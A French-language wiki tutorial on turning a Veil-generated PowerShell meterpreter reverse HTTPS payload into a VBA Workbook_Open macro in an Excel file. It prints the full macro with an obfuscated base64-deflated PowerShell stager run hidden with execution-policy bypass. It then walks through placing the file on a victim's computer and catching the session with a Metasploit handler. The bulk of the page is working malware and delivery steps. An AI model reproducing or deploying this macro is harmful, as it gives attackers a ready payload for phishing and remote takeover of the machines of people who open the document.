**Ajouter un payload dans une macro Microsoft Office**
**1.Presentation**
Les macros sont des petits programmes que l'ont peux développer dans les outils de la suite Microsoft Office.
Ils sont développés en vba.
**2.Exploitation **
Nous allons générer un payload avec veil-evasion que nous intégrerons à un fichier excel.
Il sera auto-executé à l'ouverture du fichier dès l'acceptation de l'execution des macros.
__2.1 Génération de la backdoor avec Veil__
Pour l'utilisation de Veil reprenez cette [[http://wikisecu.fr/doku.php?id=metasploit:bypass_av_veil | article]]
Cette fois nous allons selectionner le payload
23) powershell/meterpreter/rev_https
Nous obtenons un fichier .bat que nous appelerons backdoor.bat
__2.2 Transformation du fichier bat en vba__
Le script [[https://github.com/khr0x40sh/MacroShop/blob/master/macro_safe.py | macro_safe.py]] vous permet de transformer votre payload batch en vba.
USAGE: macro_safe.py python macro_safe.py backdoor.bat out
out sera le fichier où le code vba sera stocké.
Vous obtiendrez quelquechose comme cela :
Sub Workbook_Open()
'VBA arch detect suggested by "T"
Dim Command As String
Dim str As String
Dim exec As String
Arch = Environ("PROCESSOR_ARCHITECTURE")
windir = Environ("windir")
If Arch = "AMD64" Then
Command = windir + "\syswow64\windowspowershell\v1.0\powershell.exe"
Else
Command = "powershell.exe"
End If
str = "nVRtc9pGEP7Or9jRXGekMZLFSx2MxjNxcNy4DYQax07LMJ1DWtCF05"
str = str + "18OmEw4b93hVXsfO0XnXa1t8+zu8+KPcIFvHca0yspb7JcG+"
str = str + "s6KzQKZacdJFI63gzyci5FDIXllg7cWPoON8qOrYF7YWzJ5a"
str = str + "WUOnZrn8wvk8RgUTShFMpC8jQRz1gbi5dYSqXV3TZ/dY+Nth"
str = str + "hbL/rfXAYGucW7lI7klcuLfWmtEfPS4htSlserF2bHYPIZe2"
str = str + "R/dI+54RkS1vHyAYtKuJZ8+TbyBe0moTKc9w1rtjuWUIedyw"
str = str + "+Dq4/Xv326+f2Pz8PRl/Gft5O7r/cP3/76m8/jBBfLVHxfyU"
str = str + "zp/NEUtlw/bbbPYavd6f569q537gR3epByc2kM37peY1GquE"
str = str + "KH2GVrbwcGbUl9cN0psZvOZsDWP9+AHzBEXpQG/S/z79Rm8C"
str = str + "dl5gX0gF8g3LTCEHx8hPO2t3/NbmHHFhV7J2oFQefHQlNxce"
str = str + "rrQwr6dnIBLJm6S7S+4SrRGfgZ34iMsrIk+IxqaVNvto9qfm"
str = str + "wRvcmOsIPc6JhaDbspr4jO2Ibg6HEC7J99BKgSorAh9gWpoc"
str = str + "aFnavw6T/j9oDrBYq04Hr7/RuA5Q6IMbhMXIQRE+BLC2ddej"
str = str + "s58XYsJSQbsVUFmBACRgB1gXRFgiC+K4orqoC0YiQjEAtwqe"
str = str + "eF58Gx6xRBsLXhnK+/fXWozOkIbTBBsxYxjjWNZcgVX6KZ9f"
str = str + "uVF80AjRULQZuA91yK5CCnAZdyTrIkzB2zpsR9xDIyRlRwPb"
str = str + "jJtrCYBVX6B5wPpEBlowbLgk8kPDRFQPJ1nbJA4xOesk4TnK"
str = str + "F+FlLy024QEn+d5QQ2l1TxcHLzEc6CVgQPgvr4VMDoznO8iC"
str = str + "kCXUYw/bC1eBBUXrUhC670k5KaJ1fcctdJrc2L/ulp67wdtM"
str = str + "56QbcTtN61+72wF54y5YDXYJruESO/2nVSB2ZzNFe4EEocZs"
str = str + "QewR/RboFDBDptB3xFVpHzGOHgua6nWYCf86KwqSkbbHPBdL"
str = str + "//078nbLK8Vlwz3HTCMKSjG3rRtG7YbamsyDCgVUWj83o0RT"
str = str + "Dkpki5pLkMdL51Wd6EsAnTl42euWxDm0RGp+16XhOOIFVpdO"
str = str + "XtL4cQm2zTrI6w2jhdWl+VkmRz+K34E4mY0+JhrEnXvbNuGO"
str = str + "5p/HG62/8L"
exec = Command + " -NoP -NonI -W Hidden -Exec Bypass -Comm"
exec = exec + "and ""Invoke-Expression $(New-Object IO.StreamRea"
exec = exec + "der ($(New-Object IO.Compression.DeflateStream ("
exec = exec + "$(New-Object IO.MemoryStream (,$([Convert]::From"
exec = exec + "Base64String(\"" " & str & " \"" )))), [IO.Compr"
exec = exec + "ession.CompressionMode]::Decompress)), [Text.Enc"
exec = exec + "oding]::ASCII)).ReadToEnd();"""
Shell exec,vbHide
End Sub
__2.3 Création d'une macro dans Excel 2013 __
Ouvrez le fichier excel dans lequel vous voulez créer la macro (attention il faut que le fichier soit un .xls pour l'execution des macros).
Il faut tout d'abord activer l'onglet développeur
Onglet Fichier -> Options -> Personnaliser le ruban -> Cochez la case Développeur -> OK
On clique ensuite sur VisualBasic
{{ :metasploit:visualbasic.png?nolink |}}
Pour que la macro soit executée à l'ouverture du fichier il faut copier coller notre payload (celui en vba) dans "ThisWorkbook".
{{ :metasploit:visualbasic2.png?nolink |}}
{{ :metasploit:visualbasic3.png?nolink |}}
On enregistre et on depose le fichier excel sur l'ordinateur victime.
Sur l'ordinateur de l'attaquant il faut démarrer le listener dans metasploit
use exploit/multi/handler
{{ :metasploit:macro.png?nolink |}}
Lorsque l'utilisateur ouvrira le fichier excel on lui demandera d'activer les macro
{{ :metasploit:visualbasic4.png?nolink |}}
La session meterpreter s'ouvre alors sur le pc de l'attaquant.